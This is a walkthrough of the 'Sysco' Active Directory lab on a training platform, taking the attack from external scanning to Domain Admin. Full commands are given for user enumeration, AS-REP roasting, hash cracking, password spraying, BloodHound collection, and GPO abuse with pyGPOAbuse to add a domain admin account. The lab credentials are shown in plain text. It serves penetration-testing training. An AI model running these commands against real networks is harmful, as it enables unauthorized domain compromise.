HackSmarter Sysco Walkthrough
Scenario :
Sysco is a Managed Service Provider that has tasked you to perform an external penetration testing on their active directory domain. You must obtain initial foothold, move laterally and escalate privileges while evading Antivirus detection to obtain administrator privileges.
Objectives and Scope
The core objective of this external penetration test is to simulate a realistic, determined adversary to achieve Domain Administrator privileges within Sysco’s Active Directory (AD) environment. Starting from an external position, we will focus on obtaining an initial foothold, performing lateral movement, and executing privilege escalation while successfully evading Antivirus (AV) and other security controls. This is a red-team exercise to find security weaknesses before a real attacker does.
Scneraio :
Foothold :
As usual we start with an nmap scan :
1
2
export target=10.1.240.197
nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN Open_Ports.txt && sleep 5 && nmap -Pn $target -sV -sC -v -oN Nmap_sV_sC_Results.txt && sleep 5 && nmap -T5 -Pn $target -v --script vuln -oN Nmap_Vuln_Results.txt
This is obviously the Domain Controller , from kerberos , ldap and dns , since this is an AD machine , i like to follow this quick checklist from my methdology :
1
2
3
4
5
6
7
8
9
10
11
Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .
Now firt thing first , we should add the Domain name as well as the Hostname to our /etc/hosts files :
After that i tried to get some set of users we can test for ASREPROASTING , for this i checked anonymous access as well as the guest account :
Sadly this didn’t work , so i moved to testing ldap more thoroughly using ldapsearch but that didn’t return anything useful either .
We already saw that port 80 was open , maybe we can get a list of usernames to test from there (Team members or something like that) .
We find some usernames , now first thing we should do is generate a list of combinations using these names , for this i used a tool called username anarchy , but there are other alternatives .
1
2
3
4
https://raw.githubusercontent.com/mohinparamasivam/AD-Username-Generator/refs/heads/master/username-generate.py
python3 username-generator.py -u username.txt -o genrated_username.txt
Or
https://github.com/urbanadventurer/username-anarchy
Now that we generated a list of combinations , we can use Kerberute to validate these usernames .
1
kerbrute userenum 2 --dc $target -d SYSCO.LOCAL
Perfect we get 3 valid users .
Before we move to something else , since this is a web app , we should always Fuzz for directories , maybe there are some endpoints that we missed :
We do find the /roundcube endpoint , which is a redirect to a login page :
For now , we can test for ASREPROASTING against the users that we validated earlier , if we get a Hash we can try and crack it using John .
1
2
impacket-GetNPUsers SYSCO.LOCAL/ -dc-ip $target -usersfile Valid_Users -outputfile Hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt Hashes.txt
Perfect we get our Foothold :)
First i checked the shares , but i only found the default ones , then i checked to see if there are users that we can perform kerberoasting against .
But that didn’t return anything useful either , so i used Bloodhound to try and check if our user has any useful ACLs that we can abuse . (our user can’t RDP or Winrm to the machine) .
Here are the commands to setup BloodHound , (For the ingestor i used nxc) :
1
2
3
4
5
6
7
8
9
# To get the ZIP file :
nxc ldap $target -u 'junior.analyst' -p 'Galaxy123!' --bloodhound --collection All --dns-server $target
# To run BloodHound :
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login
Looking at Bloodhound , our user has no Outbound control over objects , and the groups don’t hold any important privilegs as well .
Looking at what we got the only thing left is the login page we found earlier . Remember the /roundcube endpoint that we found earlier , we can try to login using the creds that we found .
Upon logging in , we see that this is a web mail , let’s check the emails maybe they contain sensitive information . We found this email that was sent to lainey , which contains a config file that we can download .
In the router’s config file that we downloaded , we find a Hash .
We can use Haiti to identify the hash type , or just use John and hope it can detect it by itself . In our case John was able to crack it pretty easily .
Now that we got this new password , we can spray it across the user list we gathered from earlier , we can also use nxc to generate a list of ALL the other users on the domain .
1
nxc smb $target -u jack.dowland -p musicman1 --rid-brute | grep -i 'sidtypeuser' | awk '{print$6}' | cut -d '\' -f 2 | tee users.txt
Nice we compromised a new user : “lainey.moore:Chocolate1” This user doesn’t have any Outbound control over objects but he can Winrm and RDP to the machine since he is part of the Remote Management as well as RDP group .
Let’s login via RDP :
We first find the user flag on the Desktop , if we navigate the file system , we find that there are 2 putty exe on the Document Folder , one of them is a Shortcut , looking at the proprieties :
Privilege Escalation :
We found the of the netadmin user to login via Putty , we can attempt to spray this password across all users and hope we get a match .
Perfect we found the password for Greg , this user has Full control over the GPO , since he is part of the Group Policy Group .
Found multiple ways to abuse Generic All over the GPO , i found this tool called gpoabuse :
1
https://github.com/Hackndo/pyGPOAbuse
The default action will be to scheduele a Task that will run as System , the task will create a new user “John” that is part of Domain Admins .
I used this tool to create a new user called ‘Elmehdi’ with the password WEAK123. , and put it in the Domain Admins . for this we just need the GPO ID , which can be found in the SYSVOL folder , or simply just use Bloodhound .
1
2
3
4
5
==> First we create the user :
python pygpoabuse.py -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' -dc-ip $target -command 'net user ELMEHDI Password123. /add /domain' SYSCO.LOCAL/greg.shields:'5y5coSmarter2025!!!'
==> Then we add our user the Domain Admins group .
python pygpoabuse.py -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' -dc-ip $target -command 'net group "Domain Admins" ELMEHDI /add /domain' SYSCO.LOCAL/greg.shields:'5y5coSmarter2025!!!' -f
Then :
Either , we wait for it to execute or we can update the GPO from our RDP session as the Greg user :
Now that we updated the GPO we see in the screen above that it says pwnd! which means it is Admin on the machine (The DC in this case) .
Or we could just login via our new user creds and get the Admin flag .
That was it for this Lab , hope you learned something , see you in the next one :)